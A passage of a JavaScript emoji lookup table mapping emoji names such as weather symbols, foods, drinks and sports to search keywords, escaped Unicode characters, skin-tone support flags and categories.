    category: "animals_and_nature"
  },
  cloud_with_rain: {
    keywords: [ "weather" ],
    char: "\ud83c\udf27",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud_with_lightning_and_rain: {
    keywords: [ "weather", "lightning" ],
    char: "\u26c8",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud_with_lightning: {
    keywords: [ "weather", "thunder" ],
    char: "\ud83c\udf29",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  zap: {
    keywords: [ "thunder", "weather", "lightning bolt", "fast" ],
    char: "\u26a1",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fire: {
    keywords: [ "hot", "cook", "flame" ],
    char: "\ud83d\udd25",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  boom: {
    keywords: [ "bomb", "explode", "explosion", "collision", "blown" ],
    char: "\ud83d\udca5",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snowflake: {
    keywords: [ "winter", "season", "cold", "weather", "christmas", "xmas" ],
    char: "\u2744\ufe0f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud_with_snow: {
    keywords: [ "weather" ],
    char: "\ud83c\udf28",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snowman: {
    keywords: [ "winter", "season", "cold", "weather", "christmas", "xmas", "frozen", "without_snow" ],
    char: "\u26c4",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snowman_with_snow: {
    keywords: [ "winter", "season", "cold", "weather", "christmas", "xmas", "frozen" ],
    char: "\u2603",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  wind_face: {
    keywords: [ "gust", "air" ],
    char: "\ud83c\udf2c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dash: {
    keywords: [ "wind", "air", "fast", "shoo", "fart", "smoke", "puff" ],
    char: "\ud83d\udca8",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tornado: {
    keywords: [ "weather", "cyclone", "twister" ],
    char: "\ud83c\udf2a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fog: {
    keywords: [ "weather" ],
    char: "\ud83c\udf2b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  open_umbrella: {
    keywords: [ "weather", "spring" ],
    char: "\u2602",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  umbrella: {
    keywords: [ "rainy", "weather", "spring" ],
    char: "\u2614",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  droplet: {
    keywords: [ "water", "drip", "faucet", "spring" ],
    char: "\ud83d\udca7",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sweat_drops: {
    keywords: [ "water", "drip", "oops" ],
    char: "\ud83d\udca6",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ocean: {
    keywords: [ "sea", "water", "wave", "nature", "tsunami", "disaster" ],
    char: "\ud83c\udf0a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  green_apple: {
    keywords: [ "fruit", "nature" ],
    char: "\ud83c\udf4f",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  apple: {
    keywords: [ "fruit", "mac", "school" ],
    char: "\ud83c\udf4e",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pear: {
    keywords: [ "fruit", "nature", "food" ],
    char: "\ud83c\udf50",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tangerine: {
    keywords: [ "food", "fruit", "nature", "orange" ],
    char: "\ud83c\udf4a",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  lemon: {
    keywords: [ "fruit", "nature" ],
    char: "\ud83c\udf4b",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  banana: {
    keywords: [ "fruit", "food", "monkey" ],
    char: "\ud83c\udf4c",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  watermelon: {
    keywords: [ "fruit", "food", "picnic", "summer" ],
    char: "\ud83c\udf49",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  grapes: {
    keywords: [ "fruit", "food", "wine" ],
    char: "\ud83c\udf47",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  strawberry: {
    keywords: [ "fruit", "food", "nature" ],
    char: "\ud83c\udf53",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  melon: {
    keywords: [ "fruit", "nature", "food" ],
    char: "\ud83c\udf48",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cherries: {
    keywords: [ "food", "fruit" ],
    char: "\ud83c\udf52",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  peach: {
    keywords: [ "fruit", "nature", "food" ],
    char: "\ud83c\udf51",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pineapple: {
    keywords: [ "fruit", "nature", "food" ],
    char: "\ud83c\udf4d",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  coconut: {
    keywords: [ "fruit", "nature", "food", "palm" ],
    char: "\ud83e\udd65",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  kiwi_fruit: {
    keywords: [ "fruit", "food" ],
    char: "\ud83e\udd5d",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  mango: {
    keywords: [ "fruit", "food", "tropical" ],
    char: "\ud83e\udd6d",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  avocado: {
    keywords: [ "fruit", "food" ],
    char: "\ud83e\udd51",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  broccoli: {
    keywords: [ "fruit", "food", "vegetable" ],
    char: "\ud83e\udd66",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tomato: {
    keywords: [ "fruit", "vegetable", "nature", "food" ],
    char: "\ud83c\udf45",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  eggplant: {
    keywords: [ "vegetable", "nature", "food", "aubergine" ],
    char: "\ud83c\udf46",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cucumber: {
    keywords: [ "fruit", "food", "pickle" ],
    char: "\ud83e\udd52",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  carrot: {
    keywords: [ "vegetable", "food", "orange" ],
    char: "\ud83e\udd55",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  hot_pepper: {
    keywords: [ "food", "spicy", "chilli", "chili" ],
    char: "\ud83c\udf36",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  potato: {
    keywords: [ "food", "tuber", "vegatable", "starch" ],
    char: "\ud83e\udd54",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  corn: {
    keywords: [ "food", "vegetable", "plant" ],
    char: "\ud83c\udf3d",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  leafy_greens: {
    keywords: [ "food", "vegetable", "plant", "bok choy", "cabbage", "kale", "lettuce" ],
    char: "\ud83e\udd6c",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  sweet_potato: {
    keywords: [ "food", "nature" ],
    char: "\ud83c\udf60",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  peanuts: {
    keywords: [ "food", "nut" ],
    char: "\ud83e\udd5c",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  honey_pot: {
    keywords: [ "bees", "sweet", "kitchen" ],
    char: "\ud83c\udf6f",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  croissant: {
    keywords: [ "food", "bread", "french" ],
    char: "\ud83e\udd50",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bread: {
    keywords: [ "food", "wheat", "breakfast", "toast" ],
    char: "\ud83c\udf5e",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  baguette_bread: {
    keywords: [ "food", "bread", "french" ],
    char: "\ud83e\udd56",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bagel: {
    keywords: [ "food", "bread", "bakery", "schmear" ],
    char: "\ud83e\udd6f",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pretzel: {
    keywords: [ "food", "bread", "twisted" ],
    char: "\ud83e\udd68",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cheese: {
    keywords: [ "food", "chadder" ],
    char: "\ud83e\uddc0",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  egg: {
    keywords: [ "food", "chicken", "breakfast" ],
    char: "\ud83e\udd5a",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bacon: {
    keywords: [ "food", "breakfast", "pork", "pig", "meat" ],
    char: "\ud83e\udd53",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  steak: {
    keywords: [ "food", "cow", "meat", "cut", "chop", "lambchop", "porkchop" ],
    char: "\ud83e\udd69",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pancakes: {
    keywords: [ "food", "breakfast", "flapjacks", "hotcakes" ],
    char: "\ud83e\udd5e",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  poultry_leg: {
    keywords: [ "food", "meat", "drumstick", "bird", "chicken", "turkey" ],
    char: "\ud83c\udf57",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  meat_on_bone: {
    keywords: [ "good", "food", "drumstick" ],
    char: "\ud83c\udf56",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bone: {
    keywords: [ "skeleton" ],
    char: "\ud83e\uddb4",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fried_shrimp: {
    keywords: [ "food", "animal", "appetizer", "summer" ],
    char: "\ud83c\udf64",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fried_egg: {
    keywords: [ "food", "breakfast", "kitchen", "egg" ],
    char: "\ud83c\udf73",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  hamburger: {
    keywords: [ "meat", "fast food", "beef", "cheeseburger", "mcdonalds", "burger king" ],
    char: "\ud83c\udf54",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fries: {
    keywords: [ "chips", "snack", "fast food" ],
    char: "\ud83c\udf5f",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  stuffed_flatbread: {
    keywords: [ "food", "flatbread", "stuffed", "gyro" ],
    char: "\ud83e\udd59",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  hotdog: {
    keywords: [ "food", "frankfurter" ],
    char: "\ud83c\udf2d",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pizza: {
    keywords: [ "food", "party" ],
    char: "\ud83c\udf55",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  sandwich: {
    keywords: [ "food", "lunch", "bread" ],
    char: "\ud83e\udd6a",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  canned_food: {
    keywords: [ "food", "soup" ],
    char: "\ud83e\udd6b",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  spaghetti: {
    keywords: [ "food", "italian", "noodle" ],
    char: "\ud83c\udf5d",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  taco: {
    keywords: [ "food", "mexican" ],
    char: "\ud83c\udf2e",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  burrito: {
    keywords: [ "food", "mexican" ],
    char: "\ud83c\udf2f",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  green_salad: {
    keywords: [ "food", "healthy", "lettuce" ],
    char: "\ud83e\udd57",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  shallow_pan_of_food: {
    keywords: [ "food", "cooking", "casserole", "paella" ],
    char: "\ud83e\udd58",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  ramen: {
    keywords: [ "food", "japanese", "noodle", "chopsticks" ],
    char: "\ud83c\udf5c",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  stew: {
    keywords: [ "food", "meat", "soup" ],
    char: "\ud83c\udf72",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fish_cake: {
    keywords: [ "food", "japan", "sea", "beach", "narutomaki", "pink", "swirl", "kamaboko", "surimi", "ramen" ],
    char: "\ud83c\udf65",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fortune_cookie: {
    keywords: [ "food", "prophecy" ],
    char: "\ud83e\udd60",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  sushi: {
    keywords: [ "food", "fish", "japanese", "rice" ],
    char: "\ud83c\udf63",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bento: {
    keywords: [ "food", "japanese", "box" ],
    char: "\ud83c\udf71",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  curry: {
    keywords: [ "food", "spicy", "hot", "indian" ],
    char: "\ud83c\udf5b",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  rice_ball: {
    keywords: [ "food", "japanese" ],
    char: "\ud83c\udf59",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  rice: {
    keywords: [ "food", "china", "asian" ],
    char: "\ud83c\udf5a",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  rice_cracker: {
    keywords: [ "food", "japanese" ],
    char: "\ud83c\udf58",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  oden: {
    keywords: [ "food", "japanese" ],
    char: "\ud83c\udf62",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  dango: {
    keywords: [ "food", "dessert", "sweet", "japanese", "barbecue", "meat" ],
    char: "\ud83c\udf61",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  shaved_ice: {
    keywords: [ "hot", "dessert", "summer" ],
    char: "\ud83c\udf67",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  ice_cream: {
    keywords: [ "food", "hot", "dessert" ],
    char: "\ud83c\udf68",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  icecream: {
    keywords: [ "food", "hot", "dessert", "summer" ],
    char: "\ud83c\udf66",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pie: {
    keywords: [ "food", "dessert", "pastry" ],
    char: "\ud83e\udd67",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cake: {
    keywords: [ "food", "dessert" ],
    char: "\ud83c\udf70",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cupcake: {
    keywords: [ "food", "dessert", "bakery", "sweet" ],
    char: "\ud83e\uddc1",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  moon_cake: {
    keywords: [ "food", "autumn" ],
    char: "\ud83e\udd6e",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  birthday: {
    keywords: [ "food", "dessert", "cake" ],
    char: "\ud83c\udf82",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  custard: {
    keywords: [ "dessert", "food" ],
    char: "\ud83c\udf6e",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  candy: {
    keywords: [ "snack", "dessert", "sweet", "lolly" ],
    char: "\ud83c\udf6c",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  lollipop: {
    keywords: [ "food", "snack", "candy", "sweet" ],
    char: "\ud83c\udf6d",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  chocolate_bar: {
    keywords: [ "food", "snack", "dessert", "sweet" ],
    char: "\ud83c\udf6b",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  popcorn: {
    keywords: [ "food", "movie theater", "films", "snack" ],
    char: "\ud83c\udf7f",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  dumpling: {
    keywords: [ "food", "empanada", "pierogi", "potsticker" ],
    char: "\ud83e\udd5f",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  doughnut: {
    keywords: [ "food", "dessert", "snack", "sweet", "donut" ],
    char: "\ud83c\udf69",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cookie: {
    keywords: [ "food", "snack", "oreo", "chocolate", "sweet", "dessert" ],
    char: "\ud83c\udf6a",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  milk_glass: {
    keywords: [ "beverage", "drink", "cow" ],
    char: "\ud83e\udd5b",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  beer: {
    keywords: [ "relax", "beverage", "drink", "drunk", "party", "pub", "summer", "alcohol", "booze" ],
    char: "\ud83c\udf7a",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  beers: {
    keywords: [ "relax", "beverage", "drink", "drunk", "party", "pub", "summer", "alcohol", "booze" ],
    char: "\ud83c\udf7b",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  clinking_glasses: {
    keywords: [ "beverage", "drink", "party", "alcohol", "celebrate", "cheers", "wine", "champagne", "toast" ],
    char: "\ud83e\udd42",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  wine_glass: {
    keywords: [ "drink", "beverage", "drunk", "alcohol", "booze" ],
    char: "\ud83c\udf77",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tumbler_glass: {
    keywords: [ "drink", "beverage", "drunk", "alcohol", "liquor", "booze", "bourbon", "scotch", "whisky", "glass", "shot" ],
    char: "\ud83e\udd43",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cocktail: {
    keywords: [ "drink", "drunk", "alcohol", "beverage", "booze", "mojito" ],
    char: "\ud83c\udf78",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tropical_drink: {
    keywords: [ "beverage", "cocktail", "summer", "beach", "alcohol", "booze", "mojito" ],
    char: "\ud83c\udf79",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  champagne: {
    keywords: [ "drink", "wine", "bottle", "celebration" ],
    char: "\ud83c\udf7e",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  sake: {
    keywords: [ "wine", "drink", "drunk", "beverage", "japanese", "alcohol", "booze" ],
    char: "\ud83c\udf76",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tea: {
    keywords: [ "drink", "bowl", "breakfast", "green", "british" ],
    char: "\ud83c\udf75",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cup_with_straw: {
    keywords: [ "drink", "soda" ],
    char: "\ud83e\udd64",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  coffee: {
    keywords: [ "beverage", "caffeine", "latte", "espresso" ],
    char: "\u2615",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  baby_bottle: {
    keywords: [ "food", "container", "milk" ],
    char: "\ud83c\udf7c",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  salt: {
    keywords: [ "condiment", "shaker" ],
    char: "\ud83e\uddc2",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  spoon: {
    keywords: [ "cutlery", "kitchen", "tableware" ],
    char: "\ud83e\udd44",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fork_and_knife: {
    keywords: [ "cutlery", "kitchen" ],
    char: "\ud83c\udf74",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  plate_with_cutlery: {
    keywords: [ "food", "eat", "meal", "lunch", "dinner", "restaurant" ],
    char: "\ud83c\udf7d",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bowl_with_spoon: {
    keywords: [ "food", "breakfast", "cereal", "oatmeal", "porridge" ],
    char: "\ud83e\udd63",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  takeout_box: {
    keywords: [ "food", "leftovers" ],
    char: "\ud83e\udd61",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  chopsticks: {
    keywords: [ "food" ],
    char: "\ud83e\udd62",
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  soccer: {
    keywords: [ "sports", "football" ],
    char: "\u26bd",
    fitzpatrick_scale: false,
    category: "activity"
  },
  basketball: {
    keywords: [ "sports", "balls", "NBA" ],
    char: "\ud83c\udfc0",
    fitzpatrick_scale: false,
    category: "activity"
  },
  football: {
    keywords: [ "sports", "balls", "NFL" ],
    char: "\ud83c\udfc8",
    fitzpatrick_scale: false,
    category: "activity"
  },
  baseball: {
    keywords: [ "sports", "balls" ],
    char: "\u26be",
    fitzpatrick_scale: false,
    category: "activity"
  },
  softball: {
    keywords: [ "sports", "balls" ],
    char: "\ud83e\udd4e",
    fitzpatrick_scale: false,
    category: "activity"
  },
  tennis: {
    keywords: [ "sports", "balls", "green" ],
    char: "\ud83c\udfbe",
    fitzpatrick_scale: false,
    category: "activity"
  },
  volleyball: {
    keywords: [ "sports", "balls" ],
    char: "\ud83c\udfd0",
    fitzpatrick_scale: false,
    category: "activity"
  },
  rugby_football: {
    keywords: [ "sports", "team" ],
    char: "\ud83c\udfc9",
    fitzpatrick_scale: false,
    category: "activity"
  },
  flying_disc: {
    keywords: [ "sports", "frisbee", "ultimate" ],
    char: "\ud83e\udd4f",
    fitzpatrick_scale: false,
    category: "activity"
  },
  "8ball": {
    keywords: [ "pool", "hobby", "game", "luck", "magic" ],
    char: "\ud83c\udfb1",
    fitzpatrick_scale: false,
    category: "activity"
  },
  golf: {
    keywords: [ "sports", "business", "flag", "hole", "summer" ],
    char: "\u26f3",
    fitzpatrick_scale: false,
    category: "activity"
  },
  golfing_woman: {
    keywords: [ "sports", "business", "woman", "female" ],
    char: "\ud83c\udfcc\ufe0f\u200d\u2640\ufe0f",
    fitzpatrick_scale: false,
    category: "activity"
  },
  golfing_man: {
    keywords: [ "sports", "business" ],
    char: "\ud83c\udfcc",
    fitzpatrick_scale: true,
    category: "activity"
  },
  ping_pong: {
    keywords: [ "sports", "pingpong" ],
    char: "\ud83c\udfd3",
    fitzpatrick_scale: false,
    category: "activity"
  },
  badminton: {
    keywords: [ "sports" ],
    char: "\ud83c\udff8",
    fitzpatrick_scale: false,
    category: "activity"
  },
  goal_net: {
    keywords: [ "sports" ],
    char: "\ud83e\udd45",
    fitzpatrick_scale: false,
    category: "activity"
  },
  ice_hockey: {
    keywords: [ "sports" ],
    char: "\ud83c\udfd2",
    fitzpatrick_scale: false,
    category: "activity"
  },
  field_hockey: {
    keywords: [ "sports" ],
    char: "\ud83c\udfd1",
    fitzpatrick_scale: false,
    category: "activity"
  },
  lacrosse: {
    keywords: [ "sports", "ball", "stick" ],
    char: "\ud83e\udd4d",
    fitzpatrick_scale: false,
    category: "activity"
  },
  cricket: {
    keywords: [ "sports" ],
    char: "\ud83c\udfcf",
    fitzpatrick_scale: false,
    category: "activity"
  },
  ski: {
    keywords: [ "sports", "winter", "cold", "snow" ],
    char: "\ud83c\udfbf",
    fitzpatrick_scale: false,
    category: "activity"
  },
  skier: {
    keywords: [ "sports", "winter", "snow" ],
    char: "\u26f7",
    fitzpatrick_scale: false,
    category: "activity"
  },
  snowboarder: {
    keywords: [ "sports", "winter" ],
    char: "\ud83c\udfc2",
    fitzpatrick_scale: true,
    category: "activity"
  },
  person_fencing: {
    keywords: [ "sports", "fencing", "sword" ],
    char: "\ud83e\udd3a",
    fitzpatrick_scale: false,
    category: "activity"
  },
  women_wrestling: {
    keywords: [ "sports", "wrestlers" ],
    char: "\ud83e\udd3c\u200d\u2640\ufe0f",
    fitzpatrick_scale: false,
    category: "activity"
  },
  men_wrestling: {
    keywords: [ "sports", "wrestlers" ],
    char: "\ud83e\udd3c\u200d\u2642\ufe0f",
    fitzpatrick_scale: false,
    category: "activity"
  },
  woman_cartwheeling: {
    keywords: [ "gymnastics" ],
    char: "\ud83e\udd38\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_cartwheeling: {
    keywords: [ "gymnastics" ],
    char: "\ud83e\udd38\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  woman_playing_handball: {
    keywords: [ "sports" ],
    char: "\ud83e\udd3e\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_playing_handball: {
    keywords: [ "sports" ],
    char: "\ud83e\udd3e\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  ice_skate: {
    keywords: [ "sports" ],
    char: "\u26f8",
    fitzpatrick_scale: false,
    category: "activity"
  },
  curling_stone: {
    keywords: [ "sports" ],
    char: "\ud83e\udd4c",
    fitzpatrick_scale: false,
    category: "activity"
  },
  skateboard: {
    keywords: [ "board" ],
    char: "\ud83d\udef9",
    fitzpatrick_scale: false,
    category: "activity"
  },
  sled: {
    keywords: [ "sleigh", "luge", "toboggan" ],
    char: "\ud83d\udef7",
    fitzpatrick_scale: false,
    category: "activity"
  },
  bow_and_arrow: {
    keywords: [ "sports" ],
    char: "\ud83c\udff9",
    fitzpatrick_scale: false,
    category: "activity"
  },
  fishing_pole_and_fish: {
    keywords: [ "food", "hobby", "summer" ],
    char: "\ud83c\udfa3",
    fitzpatrick_scale: false,
    category: "activity"
  },
  boxing_glove: {
    keywords: [ "sports", "fighting" ],
    char: "\ud83e\udd4a",
    fitzpatrick_scale: false,
    category: "activity"
  },
  martial_arts_uniform: {
    keywords: [ "judo", "karate", "taekwondo" ],
    char: "\ud83e\udd4b",
    fitzpatrick_scale: false,
    category: "activity"
  },
  rowing_woman: {
    keywords: [ "sports", "hobby", "water", "ship", "woman", "female" ],
    char: "\ud83d\udea3\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  rowing_man: {
    keywords: [ "sports", "hobby", "water", "ship" ],
    char: "\ud83d\udea3",
    fitzpatrick_scale: true,
    category: "activity"
  },
  climbing_woman: {
    keywords: [ "sports", "hobby", "woman", "female", "rock" ],
    char: "\ud83e\uddd7\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  climbing_man: {
    keywords: [ "sports", "hobby", "man", "male", "rock" ],
    char: "\ud83e\uddd7\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  swimming_woman: {
    keywords: [ "sports", "exercise", "human", "athlete", "water", "summer", "woman", "female" ],
    char: "\ud83c\udfca\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  swimming_man: {
    keywords: [ "sports", "exercise", "human", "athlete", "water", "summer" ],
    char: "\ud83c\udfca",
    fitzpatrick_scale: true,
    category: "activity"
  },
  woman_playing_water_polo: {
    keywords: [ "sports", "pool" ],
    char: "\ud83e\udd3d\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_playing_water_polo: {
    keywords: [ "sports", "pool" ],
    char: "\ud83e\udd3d\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  woman_in_lotus_position: {
    keywords: [ "woman", "female", "meditation", "yoga", "serenity", "zen", "mindfulness" ],
    char: "\ud83e\uddd8\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_in_lotus_position: {
    keywords: [ "man", "male", "meditation", "yoga", "serenity", "zen", "mindfulness" ],
    char: "\ud83e\uddd8\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  surfing_woman: {
    keywords: [ "sports", "ocean", "sea", "summer", "beach", "woman", "female" ],
    char: "\ud83c\udfc4\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  surfing_man: {
    keywords: [ "sports", "ocean", "sea", "summer", "beach" ],
    char: "\ud83c\udfc4",
    fitzpatrick_scale: true,
    category: "activity"
  },
  bath: {
    keywords: [ "clean", "shower", "bathroom" ],
    char: "\ud83d\udec0",
    fitzpatrick_scale: true,
    category: "activity"
  },
  basketball_woman: {
    keywords: [ "sports", "human", "woman", "female" ],
    char: "\u26f9\ufe0f\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  basketball_man: {
    keywords: [ "sports", "human" ],
    char: "\u26f9",
    fitzpatrick_scale: true,
    category: "activity"
  },
  weight_lifting_woman: {
    keywords: [ "sports", "training", "exercise", "woman", "female" ],
    char: "\ud83c\udfcb\ufe0f\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  weight_lifting_man: {
    keywords: [ "sports", "training", "exercise" ],
    char: "\ud83c\udfcb",
    fitzpatrick_scale: true,
    category: "activity"
  },
  biking_woman: {
    keywords: [ "sports", "bike", "exercise", "hipster", "woman", "female" ],
    char: "\ud83d\udeb4\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  biking_man: {
    keywords: [ "sports", "bike", "exercise", "hipster" ],
    char: "\ud83d\udeb4",
    fitzpatrick_scale: true,
    category: "activity"
  },
  mountain_biking_woman: {
    keywords: [ "transportation", "sports", "human", "race", "bike", "woman", "female" ],
    char: "\ud83d\udeb5\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  mountain_biking_man: {
    keywords: [ "transportation", "sports", "human", "race", "bike" ],
    char: "\ud83d\udeb5",
    fitzpatrick_scale: true,
    category: "activity"
  },
  horse_racing: {
    keywords: [ "animal", "betting", "competition", "gambling", "luck" ],
    char: "\ud83c\udfc7",
    fitzpatrick_scale: true,
    category: "activity"
  },
  business_suit_levitating: {
    keywords: [ "suit", "business", "levitate", "hover", "jump" ],
    char: "\ud83d\udd74",
    fitzpatrick_scale: true,
    category: "activity"
  },
  trophy: {
    keywords: [ "win", "award", "contest", "place", "ftw", "ceremony" ],
    char: "\ud83c\udfc6",
    fitzpatrick_scale: false,
    category: "activity"
  },
  running_shirt_with_sash: {
    keywords: [ "play", "pageant" ],
    char: "\ud83c\udfbd",
    fitzpatrick_scale: false,
    category: "activity"
  },
  medal_sports: {
    keywords: [ "award", "winning" ],
    char: "\ud83c\udfc5",
    fitzpatrick_scale: false,
    category: "activity"
  },
  medal_military: {
    keywords: [ "award", "winning", "army" ],
    char: "\ud83c\udf96",
    fitzpatrick_scale: false,
